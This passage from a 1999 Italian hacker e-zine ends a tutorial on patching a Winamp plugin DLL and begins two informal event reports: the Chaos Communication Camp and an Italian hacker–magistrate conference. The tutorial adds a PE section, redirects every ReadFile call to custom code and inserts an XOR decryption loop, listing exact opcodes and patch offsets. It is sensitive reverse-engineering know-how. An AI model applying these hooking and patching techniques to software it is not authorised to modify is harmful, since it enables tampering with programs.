identificano le caratterestiche (codice,dati,ecc.) e quindi le i flags e le protezioni di pagina che verranno applicate (writable,readable,ecc.). In questo caso utilizziamo gli stessi del codice della prima sezione, cioe' 0x60000020. Notate che mentre alcuni dei valori sono facilmente reperibili da Wdasm altri devono essere letti da PEBrowse... posto che all'interno di quest'ultimo prog c'e' praticamente tutto quello che vi serve, lasciate perdere Wdasm :) Ora che vi siete sorbiti tutta la pappardella teorica e siete pronti a metter mano all'interno della dll con il vostro editor esadecimale... lasciatelo perdere: il programma Sadd del buon vecchio Neuro fa il lavoro duro per voi! Esso aggiorna automaticamente anche l'Image Size, un campo decisamente importante (in particolare sotto NT) che ancora non e' stato descritto: esso riporta la grandezza dell'immagine una volta in memoria e, naturalmente, dev'essere modificato quando vengono aggiunte delle sezioni. Naturalmente, se aveste avuto bisogno di aggiungere all'interno della dll delle funzioni da esportare questo tool non vi sarebbe stato sufficiente. Per fortuna, pero', non e' il nostro caso: la parte di codice che aggiungeremo non dovra' essere chiamata da winamp, ma dallo stesso codice della dll (che fortuna, ora non ci interessa piu' lo "svantaggio" di dover lavorare con una dll!). Benissimo: ora che abbiamo aggiunto la nostra nuova sezione, non ci resta altro da fare che provarla... per questo passiamo alla fase successiva. ************************************************************************** c) Esperimenti ovvero: "evitiamo di crittarci l'HDD, la ram, il monitor e la tastiera" ************************************************************************** Beh, in realta' la situazione non e' cosi' grave come sembra... pero' di solito preferisco procedere per piccoli passi e non mi va di inserire subito una routine di crittazione senza sapere esattamente cosa voglio fare. Quindi, facciamo il punto della situazione. Vogliamo leggere mp3 crittate. Come? Beh, innanzittutto leggendo il file da disco, come gia' avevamo intuito quando avevamo fatto il breakpoint sull'api readfile. In seguito, una volta letto il file (o -piu' in generale- una volta letta una quantita' qualsiasi di byte presi da questo file), vorremmo avere la possibilita' di decrittarlo in memoria facendo in modo che il resto del programma non si accorga di nulla. Come, esattamente? Studiamoci un po' l'API: BOOL ReadFile( byte HANDLE hFile, // handle of file to read dword LPVOID lpBuffer, // address of buffer that receives data dword DWORD nNumberOfBytesToRead, // number of bytes to read dword LPDWORD lpNumberOfBytesRead, // address of number of bytes read dword LPOVERLAPPED lpOverlapped // address of structure for data ); Good. Date un'occhiata ai parametri che vengono passati alla funzione: fra di essi potete notare l'indirizzo del buffer all'interno del quale vengono memorizzati i dati e il numero di byte letti. Perfetto, e' esattamente quello che ci serve: dopo aver letto una qualsiasi quantita' di byte, potremo andare a modificarli in memoria sapendone l'indirizzo e il numero. Come? Semplice: intercettiamo tutte le chiamate a ReadFile e le reindirizziamo alla nostra parte di codice, all'interno del quale prima verra' chiamato readfile e poi verra' decrittato il blocco di byte letti da file e salvati in memoria. Al ritorno dalla nostra funzione, per il programma sara' come aver semplicemente eseguito la chiamata a ReadFile. E' ora il momento di cominciare a scrivere la nostra funzione: almeno per ora essa sara' semplicemente una replica della chiamata a ReadFile, in modo da poter controllare con facilita' il passaggio dei parametri e prendere un po' di confidenza con gli elementi sullo stack. In pratica, si tratta solo di prendere dallo stack i parametri passati alla nostra call, ripusharli (wow, bel termine :)), chiamare ReadFile e scaricare dallo stack i parametri che possiamo chiamare "originali". Occorre a questo punto una breve spiegazione teorica: quando viene chiamata una funzione che richiede dei parametri, questi vengono PUSHati sullo stack prima della call vera e propria. Ad esempio, nel caso di ReadFile che vuole cinque parametri, essi corrispondono agli ultimi cinque valori che sono stati PUSHati (e sono proprio quelli che ci interessano). Questo e' un concetto da tener sempre presente, in quanto puo' tornare MOOOLTO utile in varie situazioni, a partire da quando volete comprendere un disassemblato fino ad arrivare alla ricerca di numeri seriali in memoria. Quando viene eseguita una call, in cima allo stack viene pushato un altro valore corrispondente all'indirizzo di ritorno della funzione: tale valore e' quello che permette al programma di ritornare, quando trova il comando RET, all'indirizzo successivo a quello della chiamata (e, in pratica, e' proprio quest'indirizzo che viene salvato nello stack). Questo significa che, una volta all'interno della nostra funzione, il primo parametro (quello, cioe', all'indirizzo indicato da ESP) sara' l'indirizzo di ritorno, mentre i VERI parametri della funzione ReadFile sono memorizzati a partire dall'indirizzo ESP+4. Per essere piu' precisi, all'indirizzo ESP+4 sara' memorizzato l'ULTIMO parametro pushato (ricordate che le push seguono un ordine inverso a quello mostrato nella definizione dell'API?), e gli altri seguono a distanza di 4 byte l'uno dall'altro. A questo punto, il codice per replicare la chiamata a ReadFile potrebbe essere il seguente: 55 push ebp // salva il contenuto di ebp NOTA: da questo momento tutti gli elementi nello stack si "spostano" di 4 byte! 8BEC mov ebp, esp // usiamo ebp come valore fisso per leggere gli elementi nello stack 8B4518 mov eax, dword ptr [ebp+18] // salva in eax il 5o parametro 50 push eax // PUSH 5o parametro 8B4514 mov eax, dword ptr [ebp+14] // salva in eax il 4o parametro 50 push eax // PUSH 4o parametro 8B4510 mov eax, dword ptr [ebp+10] // salva in eax il 3o parametro 50 push eax // PUSH 3o parametro 8B450C mov eax, dword ptr [ebp+0C] // salva in eax il 2o parametro 50 push eax // PUSH 2o parametro 8B4508 mov eax, dword ptr [ebp+08] // salva in eax il 1o parametro 50 push eax // PUSH 1o parametro FF1520F00111 Call dword ptr [1101F020] // Chiama ReadFile 5D pop ebp // recupera il valore originario di ebp **************************************************** INSERT DECRYPTION ALGORITHM HERE!!! **************************************************** C21400 ret 0014 // torna indietro eliminando gli ultimi 5 elementi dello stack Notate l'ultimo comando, il RET 0014: questo e' dovuto al fatto che sullo stack, dopo l'indirizzo di ritorno, saranno sempre presenti anche i 5 parametri della funzione ReadFile, pushati dal programma originale! E' quindi necessario eliminarli riportando lo stack nello stesso stato in cui si sarebbe trovato se ci fosse stata la semplice call a ReadFile. A questo punto non ci resta altro che fare una prova: prima di reindirizzare tutte le chiamate, naturalmente, ho provato con una sola, quella che si trova all'indirizzo 110014DD, la quale legge la tag id3 x la visualizzazione del titolo della canzone. Essa viene chiamata una sola volta all'inizio della riproduzione, quindi risulta indicata per delle prove in quanto non puo' creare troppo casino :) * Reference To: KERNEL32.ReadFile, Ord:0218h | :110014DD FF1520F00111 Call dword ptr [1101F020] poiche' la nostra funzione inizia all'indirizzo 11060000 (ricordiamo che il valore si ottiene semplicemente sommando imagebase ed RVA), possiamo sostituire la call all'indirizzo 100014DD con una :110014DD E81EEB0500 call 11060000 :110014E2 90 nop Per calcolare il valore relativo della chiamata e' sufficiente sottrarre al valore 11060000 l'indirizzo dell'istruzione successiva alla call. In questo caso, basta fare 11060000-110014E2=0005EB1E. Ricordando che il valore sotto forma di opcode dev'essere ribaltato, e' esattamente quello che vedete qui sopra. A questo punto eseguite il programma (ricordandovi di abilitare la vostra dll alla riproduzione di mp3 e di disabilitare l'originale) e... non ci crederete, ma funziona! :) *********************************************************** d) API hook ovvero: "un so se il termine e' giusto, ma suonava bene" *********************************************************** Ora, io non so se questo termine va bene... pero' l'immagine a cui pensavo era proprio quella: "agganciare" le chiamate all'API e reindirizzarle dove desideravo. Mah, speriamo che vada bene :) Quest'operazione l'abbiamo appena eseguita, nella scorsa sezione, per fare la nostra prova: adesso bisogna ripeterla per tutte le chiamate a ReadFile. Cercando all'interno del disassemblato la stringa "ReadFile" ho trovato 11 ricorrenze, 9 delle quali erano assolutamente identiche fra di loro FF1520F00111 Call dword ptr [1101F020] mentre le altre 2 erano differenti, rispettivamente una CALL EDI e una CALL ESI, i cui valori erano stati identificati, rispettivamente, dai comandi 8b3D20f00111 mov edi, dword ptr [1001F020] e 8b3520f00111 mov esi, dword ptr [1001F020] Bene, ora dobbiamo ripetere tutti quei pallosissimi calcoli di prima per il calcolo dei valori relativi nelle nove call da reindirizzare? Beh, purtoppo si'... ma c'e' un piccolo trucco per semplificare le cose :) Poiche' il comando occupa 5 byte (1 di operatore + 4 di operando) possiamo risolvere la semplice equazione: Operando = Indirizzo della funzione chiamata - (Indirizzo del comando + 5) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ ^^^^^^^^^^^^^^^^^^^^^^^^^ questo valore rimane sempre fisso questo val invece cambia! che equivale a: Operando = (Indirizzo della funzione chiamata - 5) - Indirizzo del comando ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ ^^^^^^^^^^^^^^^^^^^^^ questo valore rimane sempre fisso questo cambia Nulla di incredibile... pero' ci semplifica i calcoli! Questo torna comodo in particolare in casi come il nostro, in cui bisogna reindirizzare da vari punti le chiamate a una stessa funzione. A questo punto ci bastera' fare, per ogni calcolo, la semplice sottrazione 1105FFFB-(indirizzo della call). I valori, alla fine, sono i seguenti: 01) 11001087: FF1520F00111 --> E874EF050090 02) 110014DD: FF1520F00111 --> E81EEB050090 03) 110015A8: FF1520F00111 --> E853EA050090 04) 11001649: FF1520F00111 --> E8B2E9050090 05) 110017be: FF1520F00111 --> E83DE8050090 07) 11007e05: FF1520F00111 --> E8F681050090 08) 11008333: FF1520F00111 --> E8C87C050090 09) 110083f1: FF1520F00111 --> E80A7C050090 11) 110088b2: FF1520F00111 --> E84977050090 A questo punto restano soltanto le due call "diverse"... un modo per patchare queste chiamate consiste nel modificare il comando che salva l'indirizzo in ESI (o in EDI) con un comando che salva in questi registri il valore 11060000. 06) 110077f8: CALL EDI: modificare a 110077f0 mov edi, dword ptr etc. 8b3D20f00111 --> BF0000061190 10) 11008665: CALL ESI: modificare a 11008650 mov esi, dword ptr etc. 8b3520f00111 --> BE0000061190 Et voila'... ecco fatto! Queste sono le sostituzioni da fare, un po' pallose ma alla fine funziona ancora tutto... e scusate se e' poco ;) A questo punto, possiamo trasformare la nostra funzione farlocca in una che faccia davvero qualche cosa di utile... chesso', decrittare un file mp3! ************************************************************* e) Decrittazione ovvero: "tanta fatica per du' righe di codice? Mavvaff..." ************************************************************* In precedenza, nella sezione C, mostrando il codice della nostra funzione avevo lasciato uno spazio vuoto all'interno del quale inserire l'algoritmo di decrittazione. E' giunto ora il momento di scriverne uno, decidendo innanzi tutto che tipo di crittazione desideriamo effettuare. Innanzi tutto e' necessario specificare il fatto che tale algoritmo non puo' agire direttamente sul file intero, ma solo sulle porzioni di codice che vengono lette man mano dal programma. Per questo motivo, non e' sicuro (ne' facile da implementare in fase di crittazione) lavorare spostando i byte, mentre e' decisamente preferibile manipolarli con delle operazioni piu' semplici. Nel mio caso ho deciso di utilizzare un semplicissimo xor, ma nessuno vi impedisce di crearvi direttamente il vostro algoritmo seguendo la falsariga del mio. Prima di mostrarvi il codice, occorre fare qualche premessa: prima di tutto, ci occorreranno due elementi presenti nello stack, per l'esattezza il secondo e il quarto parametro, rispettivamente l'indirizzo a partire dal quale sono memorizzati i dati letti da file e il numero di byte effettivamente letti. Poiche' quando si raggiunge la fine del file tale numero e' uguale a zero, ci conviene fare un controllo su di esso per evitare di crittarci porzioni varie di memoria (ehehe... Neu sa ke mi e' capitato ;). Infine, siccome la chiave per lo xor puo' essere scelta a piacere, lascero' all'interno del codice una etichetta "val" che potra' essere sostituita al momento giusto.. addirittura, potreste chiamare una dialogbox per chiedere una password, a partire dalla quale verra' generata la chiave di decrittazione! Eccovi il codice commentato: 56 push esi // Salva i valori contenuti 51 push ecx // nei 3 registri che vengono 50 push eax // usati in seguito. 8b742414 mov esi, dword ptr [esp+14] // esi=indirizzo di partenza 8b4c241c mov ecx, dword ptr [esp+1c] // 8b09 mov ecx, dword ptr [ecx] // ecx=numero di byte da decr 85c9 test ecx, ecx // ecx=0? Allora STOP. 740c jz endloop loop: 8a06 mov al, byte ptr [esi] // leggi 1 byte 34[val] xor al, [VAL] // fai uno xor del byte con il valore VAL 8806 mov byte ptr [esi], al // rimetti il byte dov'era 46 inc esi 49 dec ecx 85c9 test ecx, ecx // son finiti i byte da decrittare? 75f4 jnz loop endloop: 58 pop eax 59 pop ecx 5e pop esi // recupera i valori dei reg. Ecco fatto! Nulla di particolarmente complicato, come potete vedere... ma il bello e' che all'interno di quel loop potete metterci praticamente quello che vi pare :) Io, ad esempio, ho scelto il valore esadecimale ED, e il disasm finale della mia funzione e' questo: ***************************LAST VERSION DISASSEMBLY************************* :11060000 55 push ebp :11060001 8BEC mov ebp, esp :11060003 8B4518 mov eax, dword ptr [ebp+18] :11060006 50 push eax :11060007 8B4514 mov eax, dword ptr [ebp+14] :1106000A 50 push eax :1106000B 8B4510 mov eax, dword ptr [ebp+10] :1106000E 50 push eax :1106000F 8B450C mov eax, dword ptr [ebp+0C] :11060012 50 push eax :11060013 8B4508 mov eax, dword ptr [ebp+08] :11060016 50 push eax * Reference To: KERNEL32.ReadFile, Ord:0218h | :11060017 FF1520F00111 Call dword ptr [1101F020] :1106001D 5D pop ebp :1106001E 56 push esi :1106001F 51 push ecx :11060020 50 push eax :11060021 8B742414 mov esi, dword ptr [esp+14] :11060025 8B4C241C mov ecx, dword ptr [esp+1C] :11060029 8B09 mov ecx, dword ptr [ecx] :1106002B 85C9 test ecx, ecx :1106002D 740C je 1106003B * Referenced by a (U)nconditional or (C)onditional Jump at Address: |:11060039(C) | :1106002F 8A06 mov al, byte ptr [esi] :11060031 34ED xor al, ED :11060033 8806 mov byte ptr [esi], al :11060035 46 inc esi :11060036 49 dec ecx :11060037 85C9 test ecx, ecx :11060039 75F4 jne 1106002F * Referenced by a (U)nconditional or (C)onditional Jump at Address: |:1106002D(C) | :1106003B 58 pop eax :1106003C 59 pop ecx :1106003D 5E pop esi :1106003E C21400 ret 0014 ************************************************************************ f) Crittazione ovvero: "si'... ho fatto un bel lavoro ma ke kappero ascolto adesso?" ************************************************************************ Bene, ora avete una dll che consente al buon vecchio winamp di leggere le mp3 crittate... e guai a chi dice "ma io non ho mp3 crittate!" :) Se avete riciclato il mio algoritmo di xor non c'e' nessun problema, basta scrivervi un semplicissimo programma che vi XORi i file... oppure potete utilizzare il File XORer di JFL dalla mia pagina (http://malattia.cjb.net, sezione tools/downloads)... io personalmente ho optato per quest'ultima possibilita' (Ehehe... secondo voi perche' avevo scelto un algoritmo cosi' stupido? :)) Se l'algoritmo che avete scelto e' proprietario... beh, cavoli vostri, mi sa proprio che dovrete scrivervi un vostro tool! >:))) Ora, io so che siete tutti degli studenti intelligenti... pero' per favore, non venitemi a scrivere dicendomi che da quando avete crittato la vostra playlist non riuscite piu' a sentire le vostre canzoni... ok? ;) *************************************************** g) Ascolto ovvero: "Funziona? Naaaaaa... non e' possibile!" *************************************************** Et voila'... funziona! Davvero! La dimostrazione e' data dal fatto che giusto adesso mi sto ascoltando un album tutto crittato (lo so che voi non lo potete sentire, ma fidatevi, ok?)... se devo essere onesto, all'inizio non ci credevo neanche io! :) ************************************OUTRO************************************ Woa, e' finita! Ragazzi, ho fatto piu' fatica a scrivere il tute che a completare il progetto! Adesso fate i bravi, mettete a frutto gli insegnamenti dello zio +Ma e modificate i vostri programmini come vi pare e piace... questo era solo un esempio, adesso date sfogo alla vostra fantasia e fatemi vedere di cosa siete capaci! Per ogni info, complimento, accidente, contributo, offerta generosa potete mandarmi una mail a malattia@gmx.net. Se per caso questo indirizzo fosse morto, controllate quello che c'e' sulla mia pagina: http://malattia.cjb.net. ********************************RINGRAZIAMENTI******************************* Un grazie a Ringzer0, il gruppo di crecher piu' migliore dell'universo, a #crack-it tutto, e in particolare a: Neuro, ke mi ha dato un casino di suggerimenti sul PE; Pusi, ke mi ha dato retta quando farneticavo riguardo alla crittazione di mp3; Suby, ke mi ha dato del malato quando farneticavo riguardo alla crittazione di mp3; tutti quelli che mi hanno cagato quando farneticavo riguardo alla crittazione di mp3; tutti quelli che non mi hanno mandato a cagare quando farneticavo riguardo alla crittazione di mp3; tutti quelli che son riusciti a leggere fino a questo punto :) byez, .+Ma. LAST_NOTE: il mio amico Genius mi ha salvato dallo sputtanamento totale (sempre che possa sputtanarmi piu' di cosi') avvertendomi di un piccolo particolare che nel tute e' stato trascurato. Siccome esso non pregiudica completamente il funzionamento della nostra nuova dll, ma puo' causare notevoli inconvenienti "non documentati", ho deciso di lasciarvi come compito a casa quello di capire cosa c'e' di sbagliato. Nel prossimo numero di BFI apparira' la soluzione con l'elenco dei reverser che hanno collaborato scrivendomi a malattia@gmx.net :) ============================================================================== --------------------------------[ EOF 18/25 ]--------------------------------- ============================================================================== BFi-7/BFi07-19100777 1750 144 32040 7031215207 11764 0ustar smasterusers============================================================================== ------------[ BFi numero 7, anno 2 - 25/12/1999 - file 19 di 22 ]------------- ============================================================================== -[ MiSCELLANE0US ]------------------------------------------------------------ ---[ CHA0S C0MMUNiCATi0N CAMP - del0rean & FuSyS & Kobaiashi & Nello|Z /* Chaos Communication Camp */ /* Berlin 6/7/8 August */ /* The Report */ /* Ovvero: [B]oys [F]rom [I]panema in gita a Berlino */ /* [Del0rean FuSyS Kobaiashi Nello|z] */ Il sudore sulla fronte aveva il tipico sapore agrodolce che contraddistingue i gamberoni di un takeaway cinese di periferia. La scarsa luce a malapena fugava le ombre tra le spirali di cavi di alimentazione e di rete che mutavano la superficie del pavimento del suo cubicolo. Il FuZ si chiese se avrebbe fatto in tempo. Era in ritardo, come al solito. Il ritardo era una delle sue costanti, fragile appiglio in una equazione mutevole ed irrisolvibile qual era stata la sua vita fino ad allora. Il ronzio delle macchine cullava i suoi piccoli, come non avrebbe potuto alcuna fiaba irlandese del focolare. I led, impazziti, narravano di indicibili scontri e lampi di luce in quel microcosmo in cui FuZ aveva gettato appena uno sguardo, anni prima, e da cui non era stato piu' in grado di staccarsi. Mancava poco. Appena un'alba lo divideva dall'incontro con i suoi datori di lavoro. Due voci. Non poteva essere altrimenti. Solo voci di contatto nelle ultime due settimane. Mai un incontro faccia a faccia. Non era decoroso. Non in quel campo, almeno. Mr.Nello|z ed il Dr.Kobaiashi sarebbero giunti di li' a poco. Doveva muoversi. La maggior parte delle macchine era pronta. Non sapeva bene a che cosa sarebbero servite. Ma raramente lo sapeva. Eppure questa volta era diverso ...... una trasferta. Maledizione, penso' in un attacco di paranoia. Non erano mai stati questi i patti. Eppure si era fatto convincere. Aveva giurato che non avrebbe mai accettato una condizione simile. Eppure questa volta era di partenza. Il FuZ controllo' ancora una volta le prenotazioni dei voli. Berlino. Sapeva benissimo chi controllasse Berlino in quel periodo. Come se una ventina di anni potesse essere banalmente ridotta a un semplice e passeggero periodo. Avrebbero dovuto infiltrarsi nel territorio del CCC. Non esattamente una gita di piacere. Il FuZ cerco' di concentrarsi sulle voci dei suoi due superiori. Mr.Nello|z era un uomo di affari, un imprenditore. La sua voce era in grado, quasi senza inflessione, di parlare di ogni argomento con la vivacita' tipica del ragazzino che conta i soldi appena magicamente fuoriusciti dal salvadanaio. Eppure FuZ sapeva che in fondo avrebbero potuto essere amici, per quel che la parola potesse significare per il Mr. Il dottore era diverso. Sembrava piu' schietto, ma racchiudeva nelle sue parole la furia di un cimmero pronto alla lotta. Avrebbe dovuto stare attento al dottore. Dava l'idea di poter uccidere un cane potenziato da bionanoidi con una sola stretta. In realta' non sarebbero stati soli. Ce n'era un altro. Un certo del0rean li avrebbe attesi in un angolo di Berlino, che il FuZ ancora ignorava, contatto tra estranei, pronto a far loro strada nella metropoli. Di questo non sapeva assolutamente nulla, e preferiva di gran lunga il preparare l'equipaggiamento anche per questo, piuttosto che cercare di immaginarselo mentre manovrava sui tester. ... La mattina lo sorprese abbracciato alla stampante. Il suono del cellulare lo strappo' con forza allo stupore. La voce di Mr.Nello|z gli fece capire che non era stato solo un sogno. Non avrebbe potuto. Non ci sono sogni in queste situazioni. I sogni vengono dopo. L'equipaggiamento era pronto, ma chissa' come mai, era maledettamente sicuro che mancasse qualcosa, eppure non avrebbe piu' potuto dilungarsi con i preparativi. Il cielo non aveva il colore di un televisore sintonizzato su di un canale morto. La luce aveva la limpidezza e la forza di un laser. Una seconda telefonata lo riporto' al raziocinio. La voce di Mr.Nello|z gli fece capire, che comunque avesse potuto andare, quella missione sarebbe stata, nel gergo del Mr., una vera e propria mina. // Giovedi 5 Agosto Ore 17:00 Appuntamento fuori la stazione dello Zoo. Ore 17:05 Puntuali! si inizia piu' che bene! :-) Dopo i classici nonche' soliti convenevoli da inviati speciali (tipo "Ehi cazzo chi ha portato la macchinetta fotografica? " o "Ma le sai fare le foto?" o anche "L'avevo detto io che la dovevamo prendere in aereoporto... sai qelle usa e getta" really eleet :) si fa una breve (2 ore) tappa ad Alexander Platz per acquistare alcuni cavi (koba: "meeeerda ma in Germania hanno solo spine tedesche???" :D ed alcune birre calde, prima di prendere finalmente il treno che ci avrebbe portato a destinazione. Armati di leggerissimi zaini e sacche contenenti tutte le piu' blasonate attrezzature da inviato (http://www.s0ftpj.org/archive/pics/ccc01.jpg) si affronta il viaggio sicuri di arrivare prima dell'imbrunire in modo tale da montare tutta la nostra attrezzatura. Al capolinea della metro c'e' un fantastico shuttlebus (http://www.s0ftpj.org/archive/pics/ccc02.jpg) ad attenderci, o meglio, lo attendiamo noi 10 minuti, giusto il tempo necessario per fumare 97 sigarette e per cominciare a fare le prime conoscenze (un tipo che mi molla il suo 15" dopo aver rotto le maniglie della valigia in cui era contenuto.. argh n.d.r.). 20 minuti di shuttlebus ed eccoci arrivati a Paulshof immensa (wow) distesa di campi di fieno. Il CCC si tiene all'interno di un enorme fattoria trasformata ed adattata per l'evento in maniera magistrale dai ragazzi del Chaos Computer Club. Scelta la postazione piu' comoda e piu' vicina ad un Axxxess Point, il vero Hacker/Inviato non monta per prima cosa (come ogni altra persona ;) la tenda, bensi' la lan. Solo a notte inoltrata e'possibile montare un comodo riparo (4 tende disposte secondo la "classica" topologia a stella 8-D (http://www.s0ftpj.org/archive/pics/ccc03.jpg). Montaggio avvenuto con non poche difficolta' ("Ma nessuno porta un martello per i picchetti?" ), molte delle quali, pero', "eliminate" dalla fantastica collaborazione dei nostri vicini che amorevolmente ci hanno prestato martelli e giraviti. Finalmente pronti per una tre giorni di natura e tecnologia, alberi e ethernet, fieno e sniffers, pieni di entusiasmo configuriamo le nostre (grazie ancora FuSyS!) macchine al minimo, soltanto il necessario per permetterci di buttarci a capofitto in una splendida conversazione in irc con i nostri "collaboratori" rimasti in Italia. Conversazione interrotta quando, dopo esserci resi conto che passare tutta la notte ed i successivi 3 giorni per terra senza neanche un tavolino, al freddo (faceva veramente freddo durante la notte) senza luci e nel bel mezzo di un attacco di zanzare, scomparse misteriosamente i giorni seguenti, non sarebbe stata una bella idea, deciamo di dirigerci verso il tendone piu' grande denominato Hack Center (http://www.s0ftpj.org/archive/pics/ccc04.jpg). Da questo momento in poi ogni cognizione temporale comincia a svanire (come noterete dal resto del racconto). // Venerdi 6 / Sabato 7 / Domenica 8 Agosto Ovvero: Il Come, il Dove e il Quando/Quanto? :D Quanto tempo siamo stati di fronte ai cristalli liquidi? Quando ci siamo seduti? Quando ci siamo alzati? Quanto tempo e' trascorso? Dove l'abbiamo trascorso? Come l'abbiamo trascorso? Per la verita' piu' che un report comincia a sembrarmi una F.A.Q :) Ma rispondiamo con ordine alle domande (ordine? Kaooooos!). Si' siamo stati 3/4 giorni davanti ai nostri notebook (io personalmente ho sfoggiato un fantastico PosBancomat portatile gentilmente prestatomi dal buon FuSyS). Il giorno e la notte trascorrevano inesorabili, scanditi soltanto dall'accentuarsi delle occhiaie del Nello|Z :) mentre tutto intorno a noi era in fermento. Centinaia di hacker, geek, computer enthusiast, nerd distribuiti su tutta la superficie del campo, all'aperto sotto le proprie tende equipaggiate di tutto l'immaginabile: cibo, birra (c'era anche un grande frigo con su scritto: Beer Server), network equipment etc. ed all'interno dei tendoni allestiti dai ragazzi del CCC in cui si sono svolti vari eventi ed attivita' riguardanti: lockpicking, cryptography, computer art & beauty (http://www.s0ftpj.org/archive/pics/ccc05.jpg) e numerosi workshops veramente interessanti (noi ovviamente li abbiamo persi quasi tutti ;)) come quello sullo shellcode dell'exploit per IIS (si' avete letto bene, un workshop solo sullo shellcode) presentato dai ragazzi del CodeBlau, oppure quello sulla Biometric Security o anche quello sull'IPv6 e i protocolli di Multicast. Probabilmente i due eventi piu' interessanti sono stati il Linux Death Match e l'Ambulance Attack. Il Linux Death Match e' stata una gara tra admin duri a morire. Piu' di 5 ore (dalle 24 alle 5:30 ca) di attacchi a colpi di DoS e bordate di eleet tekniques ;) per mettere alla prova la bravura nel tenere attivo un host piu' tempo possibile sotto una tempesta di denial. Vi hanno preso parte solo quattro/cinque team, purtroppo non ricordo il nome dei vincitori (l'hanno mai detto? boh... cmq era un team di veri nerd! :D ), ma posso dire che vi hanno preso parte i Teso (quelli del blind spoof) e gente del calibro di horizon (il sosia del leader dei Cure ;) e plaguez/ADM. L'altro evento e' stato l'Ambulance Attack vinto dal nostro grande Kobaiashi (unico partecipante) :PP il quale verso le 4:00 a.m. di non so che notte ha deciso di calmare il languorino ingerendo in compagnia del Nello|Z un paio di space cake con gelato, per poi, in preda ad una crisi di caldo (c'erano si e no 7 gradi :) e quant'altro si e' diretto con gran lena verso la postazione della croce rossa espugnando la tanto agognata Ambulance! Pheear his eleet teknique! :DDDDDDDDDDDD Koba troppo che spacchi! Colgo l'occasione per ringraziare lo "Sleepy Garuda Coder" che dall'Italia dava consigli per far riprendere il Koba! Bella Prova! // Domenica 8 Agosto Ore 6:00 Ovvero: ritorno in Italy; conclusioni sintetike Molti ci hanno chiesto se ne e' valsa la pena, e se 150 Marchi (a testa) non erano troppi :) : in coro rispondiamo si'... pochi giorni, ma un condensato di ricordi, di risate, di sensazioni nella sera mentre ti aggiravi attraverso luci al neon alte 2 metri piantate per terra, e frattali sulla boscaglia circostante, un piacere quello scaricare a 150k nonostante le 2500-3000 persone collegate, un saluto al turco che con quel suo furgoncino merdoso ci dava da mangiare roba di cui ancora ora ci chiediamo la provenienza, e un saluto a lui, a Wau Holland (mi pare sia scritto cosi' :) il cui look rimane sempre attrazione folkloristika per i + (in occasione del CCC si aggirava in modo agghiacciante, con tunica di paglia alla messicana senza maniche, cordone di paglia legato in cintura, gamba e piede nudo, e un grosso cetriolo in mano, insomma, voi non c'eravate? bhe, andateci la prossima volta =) - Del0rean FuSyS Kobaiashi Nello|z - // Ecco solo alcune delle frasi ormai famose dei reduci dal CCC .... Raga, andiamo al party dei THC ! [last message repeated 1000 times] Del0rean Zitto ed andiamo a dormire ! [FuSyS, Kobaiashi, Nello|z] Raga, pero' potevamo andare al party dei THC ...... [dopo NON essere andati :)] Del0rean Ma state gia' dormendo ? Ora vi telefono ... In questo momento siamo assenti. Tutti i commerciali sono al party dei THC. Se volete, lasciate .... Si ma l'anno prossimo tutti al DefCon ! FuS, mi faresti un Bum-Bum ? [last message repeated x times] Nello|z chiedendo a FuSyS di nukare un tizio FuS, butta giu' da IRC con TH0T sto' stronzo Nello|z L'ho appena fatto ;) ! FuSyS buttando giu' Nello|z con TH0T Ma voi non avete caldo ?!!? Kobaiashi una notte con 7 gradi C Ma vai a fare in culo ! Nello|z litigando su IRC, mentre un inglese alle sue spalle gli parlava lodando il suo desktop, per poi scappare spaventato Non mi sento molto bene [last message repeated 100 times] Kobaiashi dopo interessanti esperienze culinarie ABBASSA QUEL KAZZO DI STEREO!, P.D.!!!!!! Nello|z ai vicini di tenda ad ogni alba Madonna che sgommate .... Del0rean ogni mattina all'uscita dalla tenda Koba rulezza, Nello|z rolleggia ed io scureggio ! FuSyS Oggi di chi "testiamo la sicurezza" ? Del0rean Merda, che palle, e' pieno di italiani ! FuSyS vedendo UNA persona con la maglietta dell'Hackit99 DOBBIAMO comprare le magliette ! Nello|z Chi va a prendere da mangiare?! :P [last message repeated x times] Del0rean, FuSyS, Kobaiashi, Nello|z per necessita' Chi MI piglia da bere ? Nello|z per ESTREMA necessita' Oh ... posso svuotare il posacenere ? Kobaiashi con in mano un posacenere di 15 centimetri di diametro con dentro 85 sigarette ============================================================================== --------------------------------[ EOF 19/22 ]--------------------------------- ============================================================================== BFi-7/BFi07-20100777 1750 144 34572 7031215207 11770 0ustar smasterusers============================================================================== ------------[ BFi numero 7, anno 2 - 25/12/1999 - file 20 di 22 ]------------- ============================================================================== -[ MiSCELLANE0US ]------------------------------------------------------------ ---[ L'HACKER E iL MAGiSTRAT0: C0MMENTi A LAT0 - BlackBerry & \sPIRIT\ [ \sPIRIT\ ] Tempo impiegato : troppo, diviso fra Sakura (uno dei miei pc a Rimini) e Ai (il pc di chi so' io a Roma) Musica Ascoltata: Kaos, tutta la discografia Consumo : Ho finito tutto, sigarette di Nhaima comprese... Dedicato a : Chi ha reso la conferenza l'inizio di un sogno...tu sai :* [ Black Berry ] Tempo impiegato: una domenica mattina sotto il fuoco degli sms di SMa :) Musica Ascoltata: Beck - SeXX Laws (questa e' proprio in tema) Consumo: Diana come al solito e un paio di radiografie dopo aver sfondato una FiatTipo con lo scooter ieri sera. Dedicato a: wget, grazie per aver scaricato tutte le iso possibili e immaginabili :) Note introduttive di Black Berry: Tutte le informazioni che leggerete in questo articolo sono frammenti di ricordi offuscati dall'alcool (Berry) e dalle donne (\sPIRIT\), quindi non ci assumiano alcuna responsabilita' di quello che abbiamo scritto. Evitate di maillarci per chiederci chiarimenti su parti cruciali del testo perche' abbiamo wippato tutto le nostre menti e in particolare io a Pescara non ci sarei mai dovuto andare :) Passo la parola a \sPIRIT\. L'Hacker e il Magistrato, quinta edizione, a Pescara il 4 settembre 1999... Noi stavolta c'eravamo, e non solo fra il pubblico. Ci hanno invitato ad intervenire... anzi, colgo l'occasione per ringraziare Neuro di Metro Olografix per tutto il supporto che ci sta' dando. I presenti in sala, onorevoli presenze di Butchered From Inside: Black Berry, \sPIRIT\ e gli anonimi 111, 112 e 113... se per caso avete visto delle foto della conferenza, vi lascio il divertimento di scoprire chi c'era dietro al palco e chi si era mascherato tra il pubblico :) BB: Io cercavo, inutilmente di non farmi fotografare e per ripicca cominciavo a flashare le telecamere con la 112_Camera, scoprendo poi che tutti i fantomatici loggatori erano in realta' tutti membri di Olografix e quindi niente di compromettente venne fuori (spero); a parte il bacio dello Smilzo 